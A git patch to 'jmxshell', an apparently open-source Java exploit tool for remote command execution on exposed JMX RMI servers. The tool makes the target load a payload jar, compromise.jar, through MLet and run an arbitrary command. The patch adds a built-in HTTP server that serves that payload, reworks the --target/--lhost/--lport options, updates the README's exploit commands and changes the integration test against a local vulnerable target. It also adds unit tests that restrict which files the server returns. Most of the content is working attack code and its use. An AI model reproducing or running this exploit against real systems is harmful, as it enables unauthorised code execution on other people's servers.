From 2654557b9242ac6bcc15f30d2ee6ac58c400e729 Mon Sep 17 00:00:00 2001 From: Rich Mirch Date: Sun, 10 May 2026 18:26:21 -0500 Subject: [PATCH] implement built-in web server add --mlet-file option. ensure CODEBASE URL is always updated update http port to 12345 to avoid conflict change --url to --lhost and --lport. add --proto rename --host and --port to --target and --jmxPort respectively remove python web server and use built-in for tests --- .github/workflows/release.yml | 6 +- README.md | 23 +- build.gradle | 18 +- scripts/integration-test.sh | 20 +- src/main/java/com/jmxshell/JmxShell.java | 241 ++++++++++++++++-- .../java/com/jmxshell/WebHandlerTest.java | 190 ++++++++++++++ 6 files changed, 444 insertions(+), 54 deletions(-) create mode 100644 src/test/java/com/jmxshell/WebHandlerTest.java diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml index 34cc99e..5fa394f 100644 --- a/.github/workflows/release.yml +++ b/.github/workflows/release.yml @@ -64,10 +64,12 @@ jobs: - name: Build for JDK ${{ matrix.target }} run: | chmod +x gradlew + # mletUrl deliberately omitted: the build.gradle default (an + # RFC1918 placeholder) is what we want baked into the shipped + # woot.html. jmxshell rewrites it at runtime from --url. ./gradlew --no-daemon clean build distZip mletFile \ -PtargetJdk=${{ matrix.target }} \ - -PreleaseVersion=${{ steps.ver.outputs.version }} \ - -PmletUrl=http://127.0.0.1:8000 + -PreleaseVersion=${{ steps.ver.outputs.version }} - name: Integration test on JDK ${{ matrix.target }} shell: bash diff --git a/README.md b/README.md index 5152f78..742c52b 100644 --- a/README.md +++ b/README.md @@ -31,18 +31,19 @@ To render `web/woot.html` from the template for a specific URL serving `compromi ## Usage ``` -jmxshell --host --port --command --url [--username --password

] -jmxshell --host --port --cleanup [--username --password

] +jmxshell --target --jmxPort --command --lhost --lport [--username --password

] +jmxshell --target --jmxPort --cleanup [--username --password

] ``` Options: | Option | Description | | --- | --- | -| `--host ` | JMX RMI server hostname or IP | -| `--port ` | JMX RMI server port | +| `--target ` | JMX RMI server hostname or IP | +| `--jmxPort ` | JMX RMI server port | | `--command ` | Command to execute on the target (exploit mode) | -| `--url ` | Base URL serving `woot.html` and `compromise.jar` | +| `--lhost ` | Listen host the target fetches `woot.html` / `compromise.jar` from | +| `--lport ` | Listen port (`CODEBASE = http://:`) | | `--cleanup` | Remove MLet beans previously installed by this tool | | `--username ` | JMX username — must be paired with `--password` | | `--password

` | JMX password — must be paired with `--username` | @@ -64,14 +65,14 @@ In another, drive the target: ```sh java -jar build/libs/jmxshell-1.0.0.jar \ - --host target.example.com --port 1099 \ - --command 'id' --url http://10.0.0.1:8000 + --target target.example.com --jmxPort 1099 \ + --command 'id' --lhost 10.0.0.1 --lport 8000 ``` When done, remove the registered MBeans: ```sh -java -jar build/libs/jmxshell-1.0.0.jar --host target.example.com --port 1099 --cleanup +java -jar build/libs/jmxshell-1.0.0.jar --target target.example.com --jmxPort 1099 --cleanup ``` ## Trying it locally @@ -97,11 +98,11 @@ cd build/web && python3 -m http.server 8000 ```sh java -jar build/libs/jmxshell-1.0.0.jar \ - --host 127.0.0.1 --port 1099 \ + --target 127.0.0.1 --jmxPort 1099 \ --command /bin/id \ - --url http://127.0.0.1:8000 + --lhost 127.0.0.1 --lport 8000 -java -jar build/libs/jmxshell-1.0.0.jar --host 127.0.0.1 --port 1099 --cleanup +java -jar build/libs/jmxshell-1.0.0.jar --target 127.0.0.1 --jmxPort 1099 --cleanup ``` Or run all of the above as a single end-to-end test that asserts `/bin/id` returns a `uid=` line: diff --git a/build.gradle b/build.gradle index 35b0c25..4bb682c 100644 --- a/build.gradle +++ b/build.gradle @@ -23,6 +23,15 @@ repositories { mavenCentral() } +dependencies { + testImplementation 'org.junit.jupiter:junit-jupiter:5.10.2' + testRuntimeOnly 'org.junit.platform:junit-platform-launcher' +} + +test { + useJUnitPlatform() +} + sourceSets { payload { java { @@ -64,9 +73,12 @@ tasks.register('payloadJar', Jar) { } // Renders woot.html from the template. Pass -PmletUrl= to bake in your -// HTTP server URL; with no flag, a localhost placeholder is used so the -// release zip always ships a usable woot.html (override at runtime). -def defaultMletUrl = 'http://127.0.0.1:8000' +// HTTP server URL; with no flag, an RFC1918 placeholder is used. The +// placeholder is *deliberately* unreachable on most networks so a target +// that somehow processes the shipped woot.html without the operator +// rewriting it cannot accidentally fetch compromise.jar from a real host. +// jmxshell rewrites this file at runtime from the --url argument anyway. +def defaultMletUrl = 'http://10.10.10.10:8000' tasks.register('mletFile') { group = 'build' description = "Generates web/woot.html from the template (-PmletUrl=, defaults to ${defaultMletUrl})" diff --git a/scripts/integration-test.sh b/scripts/integration-test.sh index 3a9c051..8d454c1 100755 --- a/scripts/integration-test.sh +++ b/scripts/integration-test.sh @@ -2,8 +2,9 @@ # # End-to-end test for jmxshell. Stands up the standalone vulnerable # target (build/target/jmx-target.jar) on 127.0.0.1:1099 (no auth, no SSL), -# serves compromise.jar over HTTP, runs the matching jmxshell client, and -# asserts the `/bin/id` invocation came back with a uid= line. +# runs the matching jmxshell client (which serves compromise.jar over its +# own built-in HTTP server), and asserts the `/bin/id` invocation came +# back with a uid= line. # # Usage: # scripts/integration-test.sh # target JDK 8 by default @@ -12,7 +13,7 @@ # # Env vars: # SKIP_BUILD=1 Skip the gradle build step (caller has already built) -# HTTP_PORT HTTP port for serving compromise.jar (default 8000) +# HTTP_PORT HTTP port for serving compromise.jar (default 12345) # JMX_PORT JMX/RMI port the target listens on (default 1099) # ID_CMD Path to id binary (defaults /bin/id, falls back to /usr/bin/id) # EXPECT_FAIL=1 Negative test: assert the exploit fails (exit non-zero) @@ -21,7 +22,6 @@ # e.g. for JDK 25 targets where MLet has been removed) # # Requirements: -# - python3 in PATH (HTTP server for compromise.jar / woot.html) # - A JDK reachable via JAVA_HOME or `java` on PATH set -euo pipefail @@ -40,15 +40,13 @@ fi ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)" WORK="$(mktemp -d -t jmxshell-it.XXXXXX)" -HTTP_PORT="${HTTP_PORT:-8000}" +HTTP_PORT="${HTTP_PORT:-12345}" JMX_PORT="${JMX_PORT:-1099}" TARGET_PID="" -HTTP_PID="" cleanup() { set +e [ -n "$TARGET_PID" ] && kill "$TARGET_PID" 2>/dev/null - [ -n "$HTTP_PID" ] && kill "$HTTP_PID" 2>/dev/null rm -rf "$WORK" } trap cleanup EXIT @@ -85,9 +83,7 @@ echo "==> Starting jmx-target.jar on 127.0.0.1:${JMX_PORT}" >"$WORK/target.log" 2>&1 & TARGET_PID=$! -echo "==> Serving build/web on http://127.0.0.1:${HTTP_PORT}" -( cd build/web && python3 -m http.server "${HTTP_PORT}" ) >"$WORK/http.log" 2>&1 & -HTTP_PID=$! +echo "==> jmxshell will run its built-in HTTP server on 127.0.0.1:${HTTP_PORT}" echo "==> Waiting for JMX port ${JMX_PORT}" for i in $(seq 1 60); do @@ -115,9 +111,9 @@ echo "==> Sending command: $ID_CMD" set +e OUT="$("$JAVA" -jar "$CLIENT_JAR" \ - --host 127.0.0.1 --port "${JMX_PORT}" \ + --target 127.0.0.1 --jmxPort "${JMX_PORT}" \ --command "$ID_CMD" \ - --url "http://127.0.0.1:${HTTP_PORT}" 2>&1)" + --lhost 127.0.0.1 --lport "${HTTP_PORT}" 2>&1)" RC=$? set -e diff --git a/src/main/java/com/jmxshell/JmxShell.java b/src/main/java/com/jmxshell/JmxShell.java index 7a54b10..d7866ab 100644 --- a/src/main/java/com/jmxshell/JmxShell.java +++ b/src/main/java/com/jmxshell/JmxShell.java @@ -1,5 +1,9 @@ package com.jmxshell; +import com.sun.net.httpserver.HttpExchange; +import com.sun.net.httpserver.HttpHandler; +import com.sun.net.httpserver.HttpServer; + import javax.management.InstanceAlreadyExistsException; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; @@ -7,12 +11,25 @@ import javax.management.remote.JMXConnector; import javax.management.remote.JMXConnectorFactory; import javax.management.remote.JMXServiceURL; +import java.io.ByteArrayOutputStream; +import java.io.IOException; import java.io.InputStream; +import java.io.OutputStream; +import java.net.InetAddress; +import java.net.InetSocketAddress; import java.net.URL; +import java.nio.charset.Charset; +import java.nio.file.Files; +import java.nio.file.LinkOption; +import java.nio.file.Path; +import java.nio.file.Paths; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Set; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; import java.util.jar.Manifest; public class JmxShell { @@ -39,9 +56,12 @@ public static void main(String[] args) { return; } if (opts.cleanup) { - cleanup(opts.host, opts.port, opts.username, opts.password); + cleanup(opts.target, opts.jmxPort, opts.username, opts.password); } else { - exploit(opts.host, opts.port, opts.command, opts.url, opts.username, opts.password); + String proto = opts.proto != null ? opts.proto : "http"; + String url = proto + "://" + opts.lhost + ":" + opts.lport; + exploit(opts.target, opts.jmxPort, opts.command, url, + opts.username, opts.password, opts.mletFile, opts.noWebServer); } } catch (UsageException e) { System.err.println("Error: " + e.getMessage()); @@ -55,14 +75,52 @@ public static void main(String[] args) { } static void exploit(String host, String port, String command, String url, - String username, String password) throws Exception { - JMXServiceURL serviceUrl = new JMXServiceURL( - "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi"); - System.out.println("URL: " + serviceUrl + ", connecting" - + (username != null ? " as " + username : "")); + String username, String password, String mletFileOverride, + boolean noWebServer) throws Exception { + Path mletFile = resolveMletFile(mletFileOverride); + renderWootHtml(url, mletFile); + System.out.println("Wrote " + mletFile.toAbsolutePath() + " with CODEBASE=" + url); + Path webDir = mletFile.getParent(); + if (webDir != null && !Files.isRegularFile(webDir.resolve("compromise.jar"))) { + System.err.println("Warning: compromise.jar not found in " + webDir.toAbsolutePath()); + System.err.println(" The target will fetch woot.html but fail to load compromise.jar."); + } - JMXConnector c = JMXConnectorFactory.connect(serviceUrl, credentialsEnv(username, password)); + HttpServer webServer = null; + ExecutorService webExec = null; + JMXConnector c = null; try { + if (!noWebServer) { + URL parsed = new URL(url); + String bindHost = parsed.getHost(); + int bindPort = parsed.getPort(); + if (bindPort == -1) { + throw new IOException("--lport must be a valid port number for the built-in web server, " + + "or pass --no-webserver"); + } + Path serveRoot = webDir != null ? webDir : Paths.get("."); + InetSocketAddress addr = new InetSocketAddress(InetAddress.getByName(bindHost), bindPort); + webServer = HttpServer.create(addr, 0); + webServer.createContext("/", new WebHandler(serveRoot)); + webExec = Executors.newFixedThreadPool(2, new ThreadFactory() { + @Override public Thread newThread(Runnable r) { + Thread t = new Thread(r, "jmxshell-httpd"); + t.setDaemon(true); + return t; + } + }); + webServer.setExecutor(webExec); + webServer.start(); + System.out.println("Web server: serving " + serveRoot.toAbsolutePath() + + " on http://" + bindHost + ":" + bindPort); + } + + JMXServiceURL serviceUrl = new JMXServiceURL( + "service:jmx:rmi:///jndi/rmi://" + host + ":" + port + "/jmxrmi"); + System.out.println("URL: " + serviceUrl + ", connecting" + + (username != null ? " as " + username : "")); + + c = JMXConnectorFactory.connect(serviceUrl, credentialsEnv(username, password)); System.out.println("Connected: " + c.getConnectionId()); MBeanServerConnection m = c.getMBeanServerConnection(); @@ -104,7 +162,50 @@ static void exploit(String host, String port, String command, String url, new Object[]{ command }, new String[]{ String.class.getName() }); System.out.println("Result: " + result); } finally { - try { c.close(); } catch (Exception ignore) { /* best effort */ } + if (c != null) try { c.close(); } catch (Exception ignore) { /* best effort */ } + if (webServer != null) webServer.stop(0); + if (webExec != null) webExec.shutdownNow(); + } + } + + // Serves only woot.html and compromise.jar out of the operator's web/ dir + // so jmxshell doesn't need a separate `python3 -m http.server` running. + // Package-private so tests in com.jmxshell can exercise it directly. + static class WebHandler implements HttpHandler { + private final Path root; + WebHandler(Path root) { this.root = root.toAbsolutePath().normalize(); } + + @Override + public void handle(HttpExchange ex) throws IOException { + String reqPath = ex.getRequestURI().getPath(); + String rel = reqPath.startsWith("/") ? reqPath.substring(1) : reqPath; + String remote = ex.getRemoteAddress() != null + ? ex.getRemoteAddress().toString() : "?"; + if (!"woot.html".equals(rel) && !"compromise.jar".equals(rel)) { + System.out.println("HTTP " + remote + " GET " + reqPath + " -> 404 (not allowed)"); + ex.sendResponseHeaders(404, -1); + ex.close(); + return; + } + Path f = root.resolve(rel).normalize(); + // NOFOLLOW_LINKS: a symlink named woot.html or compromise.jar must + // not let an attacker exfil arbitrary files via the whitelisted name. + if (!f.startsWith(root) || !Files.isRegularFile(f, LinkOption.NOFOLLOW_LINKS)) { + System.out.println("HTTP " + remote + " GET " + reqPath + " -> 404"); + ex.sendResponseHeaders(404, -1); + ex.close(); + return; + } + byte[] body = Files.readAllBytes(f); + String ct = rel.endsWith(".html") ? "text/html" + : rel.endsWith(".jar") ? "application/java-archive" + : "application/octet-stream"; + ex.getResponseHeaders().set("Content-Type", ct); + System.out.println("HTTP " + remote + " GET " + reqPath + + " -> 200 (" + body.length + " bytes)"); + ex.sendResponseHeaders(200, body.length); + OutputStream out = ex.getResponseBody(); + try { out.write(body); } finally { out.close(); } } } @@ -142,16 +243,82 @@ static Map credentialsEnv(String username, String password) { return env; } + // Resolves where to write the MLet HTML. Honors --mlet-file when given; + // otherwise probes for a web/ directory that already contains + // compromise.jar — that's the directory the operator's HTTP server is + // serving, so writing woot.html next to it guarantees the target loads + // the freshly-rendered file. Probes: + // 1. /web/ (release-zip layout) + // 2. /../web/ (gradle build tree: jar in build/libs) + // 3. ./web/ (CWD) + // Falls back to /web/woot.html if none of those exist yet. + static Path resolveMletFile(String override) { + if (override != null) { + return Paths.get(override); + } + Path jarDir = jarDirOrCwd(); + Path[] candidates = new Path[]{ + jarDir.resolve("web"), + jarDir.getParent() != null ? jarDir.getParent().resolve("web") : null, + Paths.get("web") + }; + for (Path c : candidates) { + if (c != null && Files.isRegularFile(c.resolve("compromise.jar"))) { + return c.resolve("woot.html"); + } + } + return jarDir.resolve("web").resolve("woot.html"); + } + + private static Path jarDirOrCwd() { + try { + URL loc = JmxShell.class.getProtectionDomain().getCodeSource().getLocation(); + Path p = Paths.get(loc.toURI()); + Path base = Files.isRegularFile(p) ? p.getParent() : p; + return base != null ? base : Paths.get("."); + } catch (Exception e) { + return Paths.get("."); + } + } + + // Reads the bundled woot.template from the classpath, swaps __URL__ for + // http://:, and writes the result to outFile so the served + // CODEBASE always matches the URL being passed to getMBeansFromURL. + static void renderWootHtml(String url, Path outFile) throws IOException { + InputStream in = JmxShell.class.getResourceAsStream("/web/woot.template"); + if (in == null) { + throw new IOException("woot.template missing from jmxshell jar (classpath /web/woot.template)"); + } + String template; + try { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + byte[] tmp = new byte[4096]; + int n; + while ((n = in.read(tmp)) > 0) buf.write(tmp, 0, n); + template = new String(buf.toByteArray(), Charset.forName("UTF-8")); + } finally { + try { in.close(); } catch (Exception ignore) {} + } + String rendered = template.replace("__URL__", url); + Path parent = outFile.getParent(); + if (parent != null) Files.createDirectories(parent); + Files.write(outFile, rendered.getBytes(Charset.forName("UTF-8"))); + } + static class Options { boolean cleanup; boolean help; boolean version; - String host; - String port; + boolean noWebServer; + String target; + String jmxPort; String command; - String url; + String lhost; + String lport; + String proto; String username; String password; + String mletFile; } static String versionLine() { @@ -206,29 +373,45 @@ static Options parseArgs(String[] args) throws UsageException { o.help = true; } else if ("--version".equals(a) || "-V".equals(a)) { o.version = true; - } else if ("--host".equals(a)) { - o.host = nextValue(args, ++i, "--host"); - } else if ("--port".equals(a)) { - o.port = nextValue(args, ++i, "--port"); + } else if ("--target".equals(a)) { + o.target = nextValue(args, ++i, "--target"); + } else if ("--jmxPort".equals(a)) { + o.jmxPort = nextValue(args, ++i, "--jmxPort"); } else if ("--command".equals(a)) { o.command = nextValue(args, ++i, "--command"); - } else if ("--url".equals(a)) { - o.url = nextValue(args, ++i, "--url"); + } else if ("--lhost".equals(a)) { + o.lhost = nextValue(args, ++i, "--lhost"); + } else if ("--lport".equals(a)) { + o.lport = nextValue(args, ++i, "--lport"); + } else if ("--proto".equals(a)) { + o.proto = nextValue(args, ++i, "--proto"); } else if ("--username".equals(a)) { o.username = nextValue(args, ++i, "--username"); } else if ("--password".equals(a)) { o.password = nextValue(args, ++i, "--password"); + } else if ("--mlet-file".equals(a)) { + o.mletFile = nextValue(args, ++i, "--mlet-file"); + } else if ("--no-webserver".equals(a)) { + o.noWebServer = true; } else { throw new UsageException("Unknown argument: " + a); } } if (!o.help && !o.version) { - if (o.host == null) throw new UsageException("--host is required"); - if (o.port == null) throw new UsageException("--port is required"); + if (o.target == null) throw new UsageException("--target is required"); + if (o.jmxPort == null) throw new UsageException("--jmxPort is required"); if (!o.cleanup) { if (o.command == null) throw new UsageException("--command is required"); - if (o.url == null) throw new UsageException("--url is required"); + if (o.lhost == null) throw new UsageException("--lhost is required"); + if (o.lport == null) throw new UsageException("--lport is required"); + if (o.proto != null && !"http".equals(o.proto) && !"https".equals(o.proto)) { + throw new UsageException("--proto must be 'http' or 'https' (got '" + o.proto + "')"); + } + if ("https".equals(o.proto) && !o.noWebServer) { + throw new UsageException("--proto=https requires --no-webserver " + + "(built-in web server is HTTP only; serve TLS externally)"); + } } if ((o.username == null) != (o.password == null)) { throw new UsageException("--username and --password must be supplied together"); @@ -246,16 +429,22 @@ private static void printUsage(java.io.PrintStream out) { out.println(versionLine()); out.println(); out.println("Usage:"); - out.println(" jmxshell --host --port --command --url " + out.println(" jmxshell --target --jmxPort --command --lhost --lport " + " [--username --password ]"); - out.println(" jmxshell --host --port --cleanup" + out.println(" jmxshell --target --jmxPort --cleanup" + " [--username --password ]"); out.println(); out.println("Options:"); - out.println(" --host JMX RMI server hostname or IP"); - out.println(" --port JMX RMI server port"); + out.println(" --target JMX RMI server hostname or IP"); + out.println(" --jmxPort JMX RMI server port"); out.println(" --command Command to execute on the target (exploit mode)"); - out.println(" --url Base URL serving woot.html and compromise.jar"); + out.println(" --lhost Listen host the target fetches woot.html/compromise.jar from"); + out.println(" --lport Listen port (CODEBASE = ://:)"); + out.println(" --proto CODEBASE scheme (default: http). https requires --no-webserver"); + out.println(" --mlet-file Where to write the rendered woot.html"); + out.println(" (default: /web/woot.html)"); + out.println(" --no-webserver Do not start the built-in HTTP server;"); + out.println(" operator serves the files at :"); out.println(" --cleanup Remove MLet beans previously installed by this tool"); out.println(" --username JMX username (requires --password)"); out.println(" --password JMX password (requires --username)"); diff --git a/src/test/java/com/jmxshell/WebHandlerTest.java b/src/test/java/com/jmxshell/WebHandlerTest.java new file mode 100644 index 0000000..73daa8c --- /dev/null +++ b/src/test/java/com/jmxshell/WebHandlerTest.java @@ -0,0 +1,190 @@ +package com.jmxshell; + +import com.sun.net.httpserver.HttpServer; +import org.junit.jupiter.api.AfterEach; +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.InputStream; +import java.net.HttpURLConnection; +import java.net.InetSocketAddress; +import java.net.URL; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.concurrent.Executors; + +import static org.junit.jupiter.api.Assertions.assertArrayEquals; +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Proves the built-in HTTP server only ever returns the two files jmxshell + * is meant to serve (woot.html and compromise.jar) and rejects everything + * else — including arbitrary files in the same directory, path-traversal + * attempts, and symlinks that re-use a whitelisted name to point at files + * outside the served directory. + */ +class WebHandlerTest { + + private static final byte[] WOOT_BODY = "mlet".getBytes(); + private static final byte[] JAR_BODY = new byte[]{0x50, 0x4b, 0x03, 0x04, 1, 2, 3}; + + @TempDir Path webDir; + HttpServer server; + int port; + + @BeforeEach + void setUp() throws IOException { + Files.write(webDir.resolve("woot.html"), WOOT_BODY); + Files.write(webDir.resolve("compromise.jar"), JAR_BODY); + server = HttpServer.create(new InetSocketAddress("127.0.0.1", 0), 0); + server.createContext("/", new JmxShell.WebHandler(webDir)); + server.setExecutor(Executors.newSingleThreadExecutor(r -> { + Thread t = new Thread(r, "webhandler-test"); + t.setDaemon(true); + return t; + })); + server.start(); + port = server.getAddress().getPort(); + } + + @AfterEach + void tearDown() { + if (server != null) server.stop(0); + } + + // --- positive: the two allowed files come back ---------------------- + + @Test + void servesWootHtml() throws Exception { + Response r = get("/woot.html"); + assertEquals(200, r.code); + assertArrayEquals(WOOT_BODY, r.body); + } + + @Test + void servesCompromiseJar() throws Exception { + Response r = get("/compromise.jar"); + assertEquals(200, r.code); + assertArrayEquals(JAR_BODY, r.body); + } + + // --- negative: anything else is 404 --------------------------------- + + @Test + void rejectsArbitraryFileInWebDir() throws Exception { + Files.write(webDir.resolve("SECRETS.txt"), "operator-only".getBytes()); + assertEquals(404, get("/SECRETS.txt").code); + } + + @Test + void rejectsRoot() throws Exception { + assertEquals(404, get("/").code); + } + + @Test + void rejectsCaseVariant() throws Exception { + // Whitelist is case-sensitive — Woot.html != woot.html + assertEquals(404, get("/Woot.html").code); + } + + @Test + void rejectsCloseButNotEqual() throws Exception { + assertEquals(404, get("/woot.htmla").code); + assertEquals(404, get("/compromise.jar.bak").code); + assertEquals(404, get("/woot").code); + } + + @Test + void rejectsArbitraryHtmlInWebDir() throws Exception { + Files.write(webDir.resolve("other.html"), "other".getBytes()); + assertEquals(404, get("/other.html").code); + } + + @Test + void rejectsArbitraryJarInWebDir() throws Exception { + Files.write(webDir.resolve("other.jar"), new byte[]{1, 2, 3}); + assertEquals(404, get("/other.jar").code); + } + + @Test + void rejectsSubdirectory() throws Exception { + Path sub = Files.createDirectory(webDir.resolve("nested")); + Files.write(sub.resolve("woot.html"), "nested".getBytes()); + assertEquals(404, get("/nested/woot.html").code); + } + + // --- symlink defense ------------------------------------------------- + + @Test + void rejectsSymlinkUsingWhitelistedName() throws Exception { + // Operator's web dir is compromised by a symlink named woot.html + // that points at a sensitive file outside the served directory. + Path outside = Files.createTempFile("outside-secret-", ".txt"); + Files.write(outside, "very-secret".getBytes()); + try { + Files.delete(webDir.resolve("woot.html")); + try { + Files.createSymbolicLink(webDir.resolve("woot.html"), outside); + } catch (UnsupportedOperationException | IOException e) { + // Filesystems without symlink support — skip rather than fail. + org.junit.jupiter.api.Assumptions.abort( + "symlinks unsupported on this filesystem: " + e.getMessage()); + return; + } + Response r = get("/woot.html"); + assertEquals(404, r.code, + "symlink named woot.html must not be served (would leak " + outside + ")"); + } finally { + Files.deleteIfExists(outside); + } + } + + @Test + void rejectsSymlinkUsingArbitraryName() throws Exception { + Path outside = Files.createTempFile("outside-secret-", ".txt"); + Files.write(outside, "very-secret".getBytes()); + try { + try { + Files.createSymbolicLink(webDir.resolve("escape"), outside); + } catch (UnsupportedOperationException | IOException e) { + org.junit.jupiter.api.Assumptions.abort( + "symlinks unsupported on this filesystem: " + e.getMessage()); + return; + } + assertEquals(404, get("/escape").code); + } finally { + Files.deleteIfExists(outside); + } + } + + // --- helpers -------------------------------------------------------- + + private Response get(String path) throws Exception { + URL u = new URL("http://127.0.0.1:" + port + path); + HttpURLConnection c = (HttpURLConnection) u.openConnection(); + c.setRequestMethod("GET"); + c.setInstanceFollowRedirects(false); + int code = c.getResponseCode(); + byte[] body = new byte[0]; + InputStream in = (code < 400) ? c.getInputStream() : c.getErrorStream(); + if (in != null) { + ByteArrayOutputStream buf = new ByteArrayOutputStream(); + byte[] tmp = new byte[4096]; + int n; + while ((n = in.read(tmp)) > 0) buf.write(tmp, 0, n); + body = buf.toByteArray(); + in.close(); + } + c.disconnect(); + return new Response(code, body); + } + + private static final class Response { + final int code; + final byte[] body; + Response(int code, byte[] body) { this.code = code; this.body = body; } + } +}